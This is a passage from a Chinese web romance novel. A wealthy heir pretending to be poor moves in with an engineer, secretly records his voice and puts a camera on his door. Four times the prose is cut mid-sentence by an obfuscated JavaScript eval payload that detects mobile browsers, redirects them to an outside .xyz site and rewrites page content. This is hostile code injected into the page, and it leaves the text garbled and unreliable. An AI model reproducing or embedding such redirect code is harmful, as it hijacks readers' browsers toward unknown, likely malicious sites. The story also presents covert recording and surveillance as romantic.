辰星烁思忖片刻：“我突然喜欢上了角色扮演，不行吗？” 方凯摆出一个笑哭的表情：“……你好陌生，我好害怕。” 辰星烁：“……” 几分钟后，迈巴赫载着二人，朝附近的一家商超驶去。 到了目的地，辰星烁冷不丁道：“听新闻上说最近优衣库正在打折……” 方凯说：“我真的怕了你了，你真要买优衣库的衣服啊！几十块的衣服穿身上不膈应吗？我咋没听说星云要倒闭的消息！” 辰星烁像是没听到方凯说话，径直走向不远处的优衣库，方凯翻着白眼跟在他身后。 还没到门口，热情的导购小姐凑上来：“帅哥，要买衣服吗？最近我们做活动，两件八折，三件六五折！” 方凯笑了笑：“不是我买，是他要买。”他指了指辰星烁高大的身影，“小姐姐帮忙看一下有没有适合这位帅哥穿的衣服，他最近喜欢上cosplay，你看一下他穿什么比较像货真价实的穷人。” 小姐姐摆出一个“没招了”的表情：“……” 本来上班就烦，能不能别来添乱了。 辰星烁在货架上看到一个灰色毛衣，不远处有一面穿衣镜，他走到镜子前在自己身上比了一下。 方凯走到他身边竖起大拇指：“不错啊，果然建模好，无论啥风都适合你。” 辰星烁透过镜子看他：“什么风？” “穷土风。” 辰星烁：“……” 他挑了好几件，丢到筐子里，在试衣间全都试了一遍。 最后留了四五套看起来比较合适的衣服。 方凯给他付完款，走出商超时忍不住问：“你到底是咋想的？真不准备回家了？” 辰星烁思考了一下：“暂时不想。” 见方凯依旧一脸迷惑，又解释了几句：“突然想看看，离开父母的光环，我到底是个怎样的人。” · 每天下午三点是星云员工的下午茶时间。 露天阳台上，两个女生正坐在躺椅上享受甜点。顾词拿了一份抹茶慕斯和一杯芋泥波波奶茶，走到阳台边缘。 下午茶时间，顾词习惯在这里休息一下。站在阳台上，不仅能看到宁静的蓝天，还能看到城市边际的远山。 顾词用勺子舀起慕斯蛋糕的边角，蛋糕上还沾着冰渣，落在舌尖瞬间化开，给人一种不期而然的冰凉触感。 顾词用吸管喝了一口奶茶，耳边传来女生清脆的笑声，他视线追随而去，发现刚才在躺椅上休息的女生正在对着视频练习舞蹈。 注意到顾词在看她们，其中一个女生冲他招手：“顾词，你过来啊，跟我们一块儿练习。” 顾词走近：“练习什么？” “死屁股唤醒舞。” 顾词：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276024|182420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……第一次听说这个舞蹈。” 一个女生贴心地解释：“这个是专门给上班族设计的舞蹈，帮忙缓解死屁股综合征的。在公司里坐一天了，你难道不想让你的臀部运动一下吗？” 另一个女生把视频发给了顾词，“对啊对啊，要不然臀部的肌肉都退化了，白瞎一对好屁股了。” 顾词笑道：“你们练吧，我目前应该不需要给臀部肌肉做保养。” 他端起手机，发现王新给他发了一条视频。 顾词点开视频，画面中出现了之前捡到的小狗。 小狗正在和暖爪屋里的其它狗狗们打闹，别看它体型不大，打起架来贼凶，把比它大很多的萨摩耶都吓跑了。 顾词对着视频弯了弯唇角，背后的月季花丛里安装了自动喷雾器，一道喷雾在他身后散开。阳光下，水雾在顾词头顶勾起一抹绚丽的彩虹。 在他没注意到的地方，一个高大的男人屏住呼吸，用镜头拍下刚才的那幕。 刚刚黎远正在茶水间内倒咖啡，隔着玻璃，一眼就瞥到了正在露天阳台上休息的顾词。 他拿起手机忍不住对着顾词拍了一张。 看着手机里美到失真的男人，黎远缓缓吐出胸腔内的气息…… · 结束了一天的工作，顾词在生鲜超市里买了半个西瓜，准备在家里一边看电影一边吃西瓜。 顾词住在五幢一单元501室，从电梯里走出来后，他看到自家门口蹲坐着一个男人。 男人穿着灰色的毛衣，从顾词的角度，第一眼看到的是一颗黑色的脑袋，看不清对方的脸。 “你是？”顾词礼貌询问。 闻声，男人抬头，顾词撞上一双泪眼婆娑的眼睛，让人不忍直视。 是昨天晚上在顾词家过夜的青年。 “陈星？你是遇到什么事了吗？” 青年站起身，顾词清晰地看到一滴眼泪从对方眼角滑落，心里登时柔软下去。 男人垂着脑袋，“抱歉，我真的不想来打扰你……” 顾词担心地问：“你怎么了？” “我……”青年嗫嚅着，不敢触及顾词担忧的视线，“我回家后和父母又吵了一架，我觉得他们一点都不理解我，没办法和他们一起生活，所以……” 男人说话时声线在颤抖，听着让人心惊。 顾词道：“怎么会闹成这样……” 辰星烁继续说：“我来是想求你一件事……” “你说……” “我能先在你家里住一阵子吗？我在这个城市没有可以帮我的人了。”男人开始哽咽，“你不用担心，我会给你房租的。我明天开始就会去找工作。” 顾词沉默了一会儿，目光诚挚地看着辰星烁：“我可以帮你，但是我有一个条件。” 辰星烁一眨不眨地看着他：“我都答应。” “我可以让你在我家住一阵子，但你不能长久地在这里住。”顾词语气认真，有条有理地分析，“第一，我和你只见过一面，我不了解你的身份，也不清楚你的为人。之前是因为你发烧了情况比较紧急，才把你带回我家的，你不能因此就赖上我，让我让渡自己的空间。第二，我有个妹妹，放假了之后她可能会来这里住，如果你住在我家，对她来说有诸多不便。” 顾词见辰星烁没有说话，继续道：“你和你父母的事情不是我的课题，需要你自行解决，逃避的话并不能改善现状。” 辰星烁点点头：“你说的我都明白，我只求你能让我住一个月，之后我赚到钱就会搬到别的地方。” “好。”顾词道，“那你暂时住我家的客房吧。” 辰星烁用袖子抹掉眼角快干掉的泪痕，“谢谢。” 为了开门，顾词从辰星烁身旁穿过，带过一阵细微的风。 他用指纹解开密码门，只听“叮”得一声，门开了。 在他没看见的地方，辰星烁注视着男人的后颈。灯光下，可以看到那块光滑的皮肤上细小的绒毛。 原来只要靠得够近，就能欣赏到更隐秘的风景。 辰星烁的唇线扬起微小的弧度，露出一个得逞的笑。不过那点笑意在顾词转头的刹那就游走了。 仿佛从未发生过。 5. 第五章 顾词回到家，第一件事就是准备洗澡换家居服。 他把西瓜丢给辰星烁：”你帮我把这半个西瓜冰一下，等会儿我们切开吃掉。“ 辰星烁问：“你不歇一会儿再洗澡吗？” 顾词声线平和：“洗完澡我才感觉真正下班了，要不然总觉得身上还沾着班味。” 这是他自从当了社畜之后总结出的经验。 “你是不是还没吃晚饭，最近外卖大战可以薅资本家的羊毛，有特别想吃的吗？” 辰星烁问：“我没吃过外卖，外卖有什么品类？” 他一般在家里想吃什么直接让厨师帮他做就好。像星图庄园这种私人豪宅，安防严格，等闲不会让外人进来。 顾词一愣，哦，对了，忘了辰星烁家境不是特别好了。 “种类可多了，基本上想吃的都有。“顾词笑笑，”外卖是这个时代的红利，听说最近平台被约谈了。趁着现在还可以享受，可以多点一些。“ “那就炸鸡烧烤吧。”辰星烁开始期待了。 顾词在外卖软件上点了炸鸡、烧烤，在勾选啤酒的时候抬头问辰星烁：”你应该成年了吧？能喝酒吗？“ 辰星烁正坐在沙发上，两只手臂向后支撑着，笑道：“当然成年了，和你一样，我也是成年人，别把我当小孩哦。” 顾词手指在屏幕上滑动，选了两瓶啤酒：“我酒量一般，只能喝点啤酒，如果掺点儿别的酒，很容易喝醉。” 辰星烁看着他认真说话的样子，无声地扬起唇角。 点好外卖，顾词去浴室洗澡，约莫十几分钟后，门铃响了。 浴室内传来顾词湿润的声音：“陈星，应该是外卖到了。” “嗯，我去开门。” 辰星烁打开门，快递员看了他一眼，视线越过他的肩膀，朝门内探了探。 “咦？之前开门的不是另外一个人吗？” 辰星烁闻言拧眉，声音明显不悦：“你找他有什么事吗？” 快递员意识到越过了边界，不好意思地摸了摸后脑勺：“抱歉，这是您点的外卖。” 关上门，辰星烁不知为啥，心里有些郁闷。 他把外卖放到电视机前的桌子上，思忖着给顾词家里装几个摄像头。 顾词的长相实在优越，导致连外卖员都记下了他的脸。 这样太危险了。 顾词洗好了澡，换上了一套更舒适的家居服，他取出冰箱内的半个西瓜，切成好几份，放在茶几上。 “我准备找个电影看，你有什么推荐的吗？” 辰星烁说：“我不怎么看电影。” “那我就随便找一个了。“顾词道。 “可以，就看你想看的。” 两人坐在电视前，捧着西瓜吃起来。 西瓜送进口中，顾词感觉身心都是甜滋滋的，他幸福地眯着眼睛，享受着此刻的时光。 “下班就是舒服啊……”顾词由衷地赞叹。 辰星烁没有上过班，但是看到顾词惬意的神情受到感染，短暂忘记了刚才因为外卖员产生的不快。 “上班这么累，为啥不找个轻松点儿工作？” 顾词笑了笑，坦然：“因为他们给的报酬实在是太高了。” 大公司虽然累一些，动不动就要加班，但是福利待遇确实不错。而且一旦有了大公司的工作经历，就是在履历上增加浓墨重彩的一笔，对于后面跳槽有非常好的加持。 辰星烁盯着顾词的侧脸，后者的下颌曲线柔和，看着就令人赏心悦目。 顾词正在专心致志地看电影，没有注意到一旁的男人偷偷盯着他发呆。 他突然转向，正好撞上辰星烁黑白分明的眸子。辰星烁迅速转头，装作两人只是不经意的对视。 顾词：“可以帮我把啤酒拿过来吗？” 辰星烁压下急促的呼吸，长手一展，把啤酒捞过来。 身边没有开瓶器，辰星烁直接用手拧开了啤酒盖。 顾词有些震惊：“你的力气这么大吗？” 辰星烁当这句话是夸赞，笑道：”小意思。“ 顾词拿起一只烤串，倒了一杯啤酒。他好久没有喝酒了，上次喝酒还是和同事一起聚餐的时候。 辰星烁戴上一次性手套，撕下鸡腿递给顾词，“吃鸡腿吗？” 顾词把手中的烤串吃光，接过：“谢谢。” “对了，你明天准备去哪里找工作？” 辰星烁其实没打算找工作，被顾词问住，“暂时还没想好。” “你可以在招聘软件上试一下。” “什么招聘软件？” 顾词打开手机，辰星烁一眼就看到了他的手机界面。所有APP被分门别类放到对应位置，界面极度整洁，和顾词家的装修风格一样。 顾词把招聘软件划到“生存”类APP中，一本正经地说：“比如BOSS直骗、前程堪忧还有失联招聘……” 辰星烁愣了，“居然有APP起这么奇葩的名字。” 顾词笑道：“其实它们不叫这个名字。这些名字是打工人自己起的，因为这些平台总是干一些恶心人的事……” 辰星烁：“可以告他们没有人权。” “你还挺有正义感，”顾词收起手机，“你之后还会去读书吗？” 辰星烁：“会去的吧。” 顾词以为他是担心学费，语气认真地说：“上大学可以办理助学贷款，平时也可以做些兼职，养活自己应该是可以的。” 顾词之前上大学就是靠助学贷款和兼职，也正因为这样，当别人在大学里谈恋爱的时候，顾词把所有时间都花在了生存上。 现在也算是苦尽甘来。 辰星烁没想好要不要继续读书，他觉得自己不是读书那块料。之前辰星烁在贵族学校里上学，周围同学都是富n代，好好学习的人不多，辰星烁就属于其中之一。 他不仅不好好学习，还热衷于当吊车尾，每天吊儿郎当，和朋友一起打打闹闹。 不过好在人比较聪明，加上辰鸿昌给他请了不少补课老师，在父母的鞭挞下，脑子里好歹留下点儿知识。 高考堪堪摸到了本科线，有惊无险。不过辰鸿昌想让他去国外读书，他不愿意，所以才有了后面的事情。 “你是在哪里读的大学？”辰星烁问。 “A大。“ 辰星烁瞪大了眼睛：“你居然是在A大?" 星云在A大建立了实验室，A大每年都会为星云输入源源不断的人才。辰星烁之前跟辰鸿昌参加研讨会，听到过这个大学的名字。 不知为啥，辰星烁突然萌生了想要去A大读书的念头。 想去看看顾词曾经生活学习的地方到底是啥样的…… “因为A大离家近，可以照顾我妹妹。” 这是顾词选择A大的首要原因，而且A大是985，能满足顾词对学术的需求。 喝了两杯啤酒后，顾词拿着啤酒瓶在杯子里倒了倒，居然一滴都没有了。 他脸颊上已经浮上薄红，打了个轻轻的酒嗝儿。 桌子上放着炸鸡的残余物还有烤串的竹签，乱糟糟的。 辰星烁看着已经微醉的顾词，笑道：“你还是别喝了，再多喝一些就醉了。” 顾词现在感觉脑子晕乎乎的，有些上头。 “嗯，我也觉得。”顾词盯着辰星烁的脸，眼神中透着茫然，“我感觉你的脸越来越远、越来越远……” 辰星烁突然把脸凑近，近到两个人的鼻尖之间只有一寸的距离。 “这样呢？还会觉得远吗？” 他视线直白、热烈，顾词没设防，一下愣在原地。 周围的气温逐渐攀升，辰星烁又凑近些，两人的呼吸纠缠在一起。 顾词的喉结动了动，歪过头，假装什么事都没有发生。 生息有些不稳：“你……你把这些东西收拾一下。” 辰星烁露出一个得逞的笑：”好的。“ 他又补充：“我住在你家的这段时间，你可以随意使用我，我很乐意为你效劳……” 顾词依旧没看他，“嗯，我先回去睡觉了。” “别忘了刷牙。”辰星烁善意提醒。 顾词还真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不是，你还真住人家家里了啊，属流浪狗的？找到个主儿就赖人家家里了。” 方凯在吸烟，辰星烁二话不说直接把他烟掐了。 “别抽了，弄我一身二手烟味，回去让他闻出来了。” 方凯露出一副见了鬼的表情：“……” “得得得，你就跟我说说你以后咋整。你不是和顾词说之后会找工作吗？你准备去‘假装上班有限公司’上班去了？” “假装上班不好吗？我的工作就是给人提供工作。” 今天给人提供工作的KPI已经完成了——多亏了辰星烁，安防公司又多了一个单子。 方凯：“就别臭屁了，我这里有个坏消息要告诉你，你做好心理准备。” 辰星烁：“我心脏强大着呢。” “你之前让我卖的那件衣服，我按照你的价格挂上去，到现在一个私信我的人都没有。” 辰星烁：“……那就降五万。” 方凯：“要不降十五万吧。” “不要讨价还价。” 方凯白他一眼：“你就等着卖给收破烂的吧。” · “什么？陈星住你家里了？” 王新瞪大了眼睛，声音尖锐，手里的小猫被他吓得一哆嗦，缩起毛茸茸的耳朵。 顾词正在给一只布偶猫驱虫，“他和父母闹翻了，说要在我家里暂住一个月。” “那他会付房租吗？” 顾词说：“他说会给房租的。” ”那就好，要不然白让他住啊。“王新怒火稍微平复了些，“我真害怕你被骗身骗心。” 顾词笑道：“你这也想太多了，他比我小五六岁呢，就是个小弟弟，哪有这么多花花心思。” 王新看着顾词毫不设防的表情，心里着急死了。 “一个月之后必须让他走，要不然我真的担心你被他吃干抹净了。” 6. 第六章 顾词的担心没有持续多久，辰星烁告诉他，已经找到工作了。 据说是在附近的一家工厂里给人搬货，只用出憨力、不用动脑子的那种工作。 辰星烁个子高力气大，干这种活儿应该手拿把掐。 “如果你喜欢小动物，可以到暖爪屋上班。王新准备招个帮手，负责给二哈、萨摩耶洗澡。我看你应该也可以做。“ “我不喜欢小动物，“辰星烁脸上一本正经，“你之后也别乱带东西回家了。” 顾词：”……“ 莫名有种被教训的感觉。 早上，顾词上班前在家里的体重秤上称体重。 看着电子秤上的数字，顾词自言自语：“体重又降了……” 这两天不知为啥体重降了两斤。 “你们公司是不是换用餐公司了？”辰星烁正在刷牙，嘴里含着唾沫，声音含混不清。 “还真是，听说最近公司找了一家更便宜的餐饮公司，做的菜不太合我胃口。” 辰星烁思忖，之前他体重下降，家里的厨师会想法设法给他做又好吃又健康的饮食调理肠胃。 看样子，顾词也需要好好调理一下。 辰星烁脑子里有个不成形的想法，有待实施。 洗漱完，辰星烁对顾词道：”我上班了。“ “拜拜。”顾词正在用手在脸上抹爽肤水，说。 辰星烁出了门，在小区门口右转，转到一个咖啡馆。 咖啡馆内的店员已经是第三次见到他了，“还是冰美式吗？” “最近有出新品吗？” “有的哦，您稍等。” 这家咖啡馆位置偏僻，早上客流量比较少，辰星烁一般会在这里坐到九点，等到顾词在公司上班打好卡才回去。 到了九点，辰星烁玩手机玩得有些无聊，掉头回家。 今天正好是和安防公司约好上门的时间。 这已经是他假装上班的第三天，能在漫长的等待时间里有点儿事情做，还是挺好的。 安防公司的两个师傅准时出现在顾词家门口。 辰星烁正在用手机打游戏，听到门铃声直接挂机。 手机里传来方凯暴躁的声音：“狗东西，挂机会死人的，知道伐？！” 辰星烁装没听到，对着师傅道：“师傅，我想在家门口装一个摄像头，要那种在手机里可以实时看监控，还能对人说话，三百六十度无死角的安防设备。“ “可以的，不过价格可能贵一些，一两万块钱一台。” “多少钱不重要。“ 其中一个师傅道：“您家里是有什么贵重物品吗？需不需要在屋内也装一个摄像头，这样里外双层保障，更安心。“ 之前听说有黑客把居民的摄像头黑了，将拍摄到的视频放到某些网站上。 假如有人把顾词在家里活动的视频放到了网上，这简直是让辰星烁觉得两眼一抹黑的程度。 算了算了，反正屋里有他呢。 辰星烁斩钉截铁道：“不用，在门口按照摄像头就行。” 这样就可以对某些心怀不轨的人起到威慑作用。 两位师傅专业素养不容置疑，没多久就装好了摄像头。摄像头安装在门的上方，可以拍摄到门口的全部场景。 辰星烁看着头顶的摄像头，自豪地叉了叉腰。 回到屋内，他看了一眼墙上的时钟，居然才十二点。 顾词得下午六点才下班，好无聊啊。 手机上，方凯问他：“新家装修搞完了？” “装修什么？我就是在家门口装了个摄像头。” “有你在，还需要摄像头？” 辰星烁：”……“ “人家就准备让你住一个月，你有必要花钱吗？而且，你现在用的都是我的钱，能不能省着点儿。” “我以后会还你的，记着，千万别让我爸妈知道我的事情，我可不想被抓回去。” 辰星烁在家里呆的实在无聊，打开手机的应用商城，搜索“BOSS”。 界面跳出一个蓝色的APP，辰星烁点击下载。 “要不要真的去找份工作？”辰星烁以心问心。 毕竟在家真的太无聊了。 软件下载后，辰星烁简单填写了自己的信息，开始瞎投简历。 【辰星烁：你好，这是我的简历，可以看一下吗？我擅长数学、英语、生物，力气大，身体好，可以面试这个岗位吗？】 HR给他发来三个问号，试图查询对方的精神状态。 【食一餐饮HR：抱歉哦，我们这个岗位只招本科生】 辰星烁不可置信地盯着他投递的岗位——餐厅服务员，工作职责是负责上餐及厨房后勤。 现在的就业市场已经这么癫了吗？ 【辰星烁：麻烦动脑筋想想，人家辛辛苦苦上四年大学读出来的本科生，给你们端碟子洗碗？是我疯了还是你们疯了】 辰星烁怕自己没看清岗位信息，想点进去再确认一下，发现已经被这家叫“食一餐饮”的企业拉黑了。 “……” 生活还真是魔幻现实主义。 辰星烁又投了几份简历，结果无一不是被拒绝，HR全方位把他PUA了个遍。 “抱歉，这个岗位需要有垂直经验哦。” “对不起，我们这个岗位不招本地人。” “要求年龄在22周岁左右，有三年相关经验的本科生。” …… 碰了一鼻子灰之后，辰星烁感觉自己像是被判了“死刑”。 找个工作这么难吗？ 他不信邪，开始搜索星云的在招岗位。 手指在页面滑动，最后在“研发工程师”的岗位上停留。 顾词应该就是这个岗位吧？为什么现在还在招人？ 辰星烁点进岗位，入目先是一大段英文介绍，他懒得翻译，直接滑到最下面。 辰星烁默读出声：”要求92硕士学历及以上，英语六级，人工智能专业，英语可作为工作语言……要求能适应加班，可适量饮酒……“ 没想到顾词的工作也需要应酬。 这个世界就是个巨大的销售。 辰星烁想问一下是什么样的应酬，突然发现他现在顶的名字不太合适。 辰星烁把名字改成陈星。 【陈星：这个工作需要频繁对接客户吗？】 【星云HR008：是的哦，这个岗位需要对接客户，有时需要参加一些应酬】 【陈星：他是做销售吗？对接客户不应该是专门的商务人员？】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276026|182420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 【星云HR008：抱歉，我们这个岗位目前是这样子的，如果您介意这一点，可以不用投递这个岗位哦】 【陈星：你们不是已经招到人了吗？】 【星云HR008：我们这个岗位是长期招人的】 【陈星：这个岗位能不能少加点儿班，要不然都没时间陪家里的人了】 【星云HR008：抱歉，这个我不能决定哦】 【陈星：那我不投了】 另一边，星云办公室。 顾词正在人事办公室拿办公用品，突然听到隔壁桌的齐梦珂提高嗓门：“脑子有问题吧。” 她是公司里负责招聘的人事专员，顾词的简历就是她给过的初筛。 一旁的女生给她递了一杯热水：”消消气，消消气，做我们这一行的，遇到奇葩很正常。“ “真是的，我就是个打工的，为难我干什么。岗位职责要求都是直属领导确定的，我也左右不了。” 齐梦珂凤眼一挑，正好捕捉到顾词，忍不住抓住他吐槽。 “顾工，有人替你这个岗位打抱不平呢。” 顾词声线清泠：“他说什么了？” “人家说你的工作不应该加班不应该喝酒，你上班五个月，虽然有时会加班，但是没有参加过几次应酬吧。“ 顾词脑海中回忆了一下，“加上上次团建，一共参加三次应酬。” “有人灌你酒吗？” 顾词笑笑：“客户都是年轻人，大家年龄相近，没有什么酒桌文化。“ 不过顾词确实不喜欢参加应酬，尤其讨厌在应酬的时候喝酒。他酒量不好，稍微喝多点儿就会醉。当初面试这个岗位的时候针对这一点和面试官们做了详细的沟通，是黎远说不会让他喝很多酒，他才放心来星云上班的。 齐梦珂喋喋不休：“这个人说不投这个岗位，给我气笑了，我们公司的研发岗位很难进的好不好……” 辰星烁在家里连续打了好几个喷嚏，仿佛被人骂了。 他抽了一张卫生纸，擦了擦鼻子。 在手机里翻找半天，才找到家里厨师的联系方式。 星图庄园有一个厨师班子，里面都是米其林厨师和高级营养师，严格把控着辰家人的饮食。 辰星烁有个专属厨师，只要辰星烁想吃的，就没有他做不了的。 有几次辰星烁想吃一些美味但不那么健康的食物，专属厨师冒着被辞退的风险，也会尽力满足他。 辰星烁对他的专属厨师还是很放心的。 【辰星烁：杨哥，能教我做几道菜吗？】 【杨飞：少爷啊，你去哪里了？老爷和夫人到处找你呢】 【辰星烁：别告诉他们我联系你了，我没事，你教我做几道菜】 【杨飞：你不会被骗到电诈园区了吧？少爷，不能给违法人员做饭啊】 【辰星烁：……你这想象力也太丰富了】 【杨飞：快回来吧，你走了，我都要失业了】 【辰星烁：放心，我不会让我爸妈辞退你的，我还想吃你做的烤鱼呢】 【杨飞：谢谢少爷】 【辰星烁：能教我怎么做柠檬干煸鸡吗】 【杨飞：可以啊，这个简单，就是家常菜。不过，我教了你之后，你还回家吃饭嘛……】 7. 第七章 顾词从电梯里走出来的时候，看到门口安装了一个摄像头，以为自己走错了楼层。 他凝神四顾，看了一眼门上的门牌号，确实是他家没错。 那这个摄像头，是谁的手笔？ 顾词有些疑惑，用指纹解了锁。 打开门，就撞见正在客厅练习单手俯卧撑的辰星烁。 男人穿着无臂白衬衫，后背上的布料汗迹斑驳，隐约可以看到流畅的肌肉线条。右手承载着上半身的重量，手背上的血管如同蜿蜒的山丘，因充血而格外具有性张力。 顾词下班后从没见到过这种场面，扶在门把上的手顿了顿。 听到开门的声音，辰星烁起身，用手臂擦掉额角的汗水，露出一个有些傻气的笑：“回家啦。” 顾词“嗯”声：“你在健身吗？” 因为刚刚运动过，辰星烁眼睛格外亮。 “我今天回来有点儿早，没什么事，运动一下。 ” 顾词吃惊地看着对方，有些不可置信。 他眉眼中明显掩着疲倦，和早上出门时比起来，起码少了一半的精神。 今天白天开了一天的会，顾词觉得腰都要断了。 “你还真是高能量人士，工作一天后还有力气运动。” 顾词想起刚刚在门口看到的摄像头，“我看到门口装了一个摄像头，你知道是怎么回事吗？” 辰星烁亮出早就准备好的话术：“听说最近小区里有个小偷，把一个大妈的电瓶车偷了。我就在门口装了一个摄像头。这个摄像头不贵，只要几十块钱，可以对有心之人起到点儿威慑作用。” 顾词看了一眼将近一米九的男人，没想到对方是这么谨慎的人。 他放下手里的东西，“我先去洗澡。” “嗯。” 顾词走向卫生间，辰星烁赶紧去冰箱拿出一个小时前腌的鸡腿肉，准备做干煸柠檬鸡。 杨飞为了教他，专门给他拍了一个教学视频，还把容易出错的地方重点做了标注。 辰星烁先在电饭煲里蒸上米饭，这样等菜做好后，米饭差不多也好了。 他按照视频里的步骤先把油倒在锅内，等油热了之后把切好的鸡腿肉倒进锅中。 屋内很快弥漫着一股浓郁的肉香，但这一切，正在浴缸内躺着的顾词并不知道。 今天是周五，顾词准备好好洗个澡，干干净净清清爽爽地迎接周末。 雪白的浴缸内，空间很大，可以同时躺下两个人。 顾词的手臂闲闲地放在浴缸边缘，全部身心放松，睫毛上缀着晶莹的水珠。 卫生间内有一面墙装了全身镜，镜子内的顾词浑身洁白，头发因为沾了水而显得格外乌黑，透着健康的光泽。 洗完澡，顾词走到镜子前穿衣服，他的大腿外侧有一个不规则的红色胎记，乍一看像是燃烧的罂粟花。 没有人知道顾词有这个胎记，即使是顾词的妹妹顾诗。因为胎记的位置很隐蔽，长在臀部下方、大腿上方，就算顾词穿着休闲短裤，外人也看不到胎记的位置。 顾词穿上家居服，布料轻轻擦过胎记，胎记仿佛更红了。 他走出浴室，身上氤氲着乌木雪松的香气。 鼻间嗅到食物的香气，顾词疑惑地喊了一声陈星的名字。 “陈星？” 辰星烁正在把柠檬片和香菜丢进锅中，听到顾词喊他，笑着回身：“我在做晚饭。” 顾词饶有兴味地看着厨房内忙活的男人，靠在墙边，抱着手臂看着。 “没想到你还会做饭。” “现学现卖。” 辰星烁应该是有点儿做饭的天赋，第一次做干煸柠檬鸡还算成功。 五分钟后，他端着装好盘的饭菜放到大理石桌子上。 鸡腿肉肥瘦均匀，裹了淀粉，灯光下折射着金黄的色泽。 辰星烁递给顾词一双筷子，“你尝一下，试试味道咋样。” 顾词洗完澡，肚子早就空了，他接过筷子，正想夹一块，突然撞上男人期待的眼神。 他笑了笑：“你这么认真干吗？搞得我像是美食鉴定官。” “这是我第一次炒菜，我也不知道做得好不好。” 顾词：“看着还挺不错的。” 他将一块肉放进口中，肉质滑嫩，肥瘦得当，上面沾着柠檬的香气，让人忍不住想再夹一块儿。 “好吃吗？”辰星烁眼神凝聚在顾词的表情上。 顾词给出一个颇有真情实感的评价：“好吃。” 辰星烁肩膀卸去力气，笑道：“看来我挺适合做饭的。” “这也还是第一次有人给我做饭。”以前都是顾词自己做饭，一个人做饭还经常做多，浪费不少粮食。 辰星烁声音中沾着笑：“那我以后给你做更多的饭吧。” “做饭是一个生存技能，学会做饭倒是一个好事。” 是不是给顾词做，就不得而知了。 顾词不想对任何人养成依赖，因为他已经习惯了一个人，之后大概率也是一个人。 吃完饭，顾词主动提出去洗碗，辰星烁没有同意。 他有条有理：“你刚洗完澡，别碰油污，我来洗就好，洗完了正好洗澡。” 顾词也就乐得清闲。 辰星烁在厨房洗碗，顾词坐在沙发上玩蛋仔派对。 等辰星烁把厨房里的垃圾丢掉，回来洗好澡，顾词已经玩累了，正半躺在沙发上休息。 辰星烁见顾词睡着了，放慢脚步走到沙发另一边，慢慢坐下。 沙发无声地凹陷下去，辰星烁仔细看顾词的方向，生怕吵醒了对方。 顾词睡着的时候，整个人恬淡而安静，嘴唇红润，呼吸极浅，像是月光下的潮汐。 辰星烁呆愣了片刻，喉结一轮，自己的呼吸也放慢了。 他没敢多看，扭头让自己的注意力转移到手机上。 打开微信，辰星烁回复方凯在他做饭的时候发的消息。 其实做饭的时候他就看到消息了，但是没有回。幸好微信没有已读不回的功能，要不然方凯肯定放不了他。 聊完还不忘给方凯最新发的朋友圈点了个赞。 往下扒拉了几条朋友圈，有两个出国旅游的，一个是去冰岛，一个是去马尔代夫。辰星烁之前从没有给他们点过赞，因为他已经不记得这些人是什么时候认识的了，大概率是参加朋友聚会时随意加上的人。 做好前摇，辰星烁认真地在朋友圈内发了一张照片，是他做的干煸柠檬鸡。 在照片的角落里，可以看到顾词的衣角。衣角占据照片大概千分之一的面积，不仔细根本看不到。 辰星烁欣赏地看着自己发的朋友圈。 在一众旅游炫富的朋友圈中，辰星烁的那张照片格外与众不同。 方凯第一个给他点了赞，几秒后方凯的头像又飘到了最上面。 【方凯：给人当厨师去了？你这技术可以抵消房租吗？】 辰星烁装作没看到方凯的冷嘲热讽，将之前偷偷录下来的顾词的声音剪了一小段，发给方凯。 【辰星烁：[音频]】 【方凯：？】 他从口袋里掏出耳机，点了一下发给方凯的音频。音频很短，只有一秒钟。 “好吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276027|182420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “好吃。” “好吃。” …… 顾词醒来，看到辰星烁正在对着手机傻乐。 “你在干什么……”他的声音沾着沙哑。 辰星烁发觉他醒了，偷偷摘掉耳机，掩饰道：“看到一个搞笑视频。” 顾词没有怀疑，坐起身伸了个懒腰。 “明天是周末，你有什么安排吗？” 辰星烁摇头，“我没有安排，你呢？” “我要去暖爪屋帮忙，听说小新最近招了位主播，客单量一下子变多，我担心他一个人忙不过来。” “我可以跟过去吗？就当帮忙了。” “可以的啊，你去帮忙的话肯定会给你一些薪水的，不会让你白帮忙。” 辰星烁当然不在意那点儿薪水，他更在意别的。 · 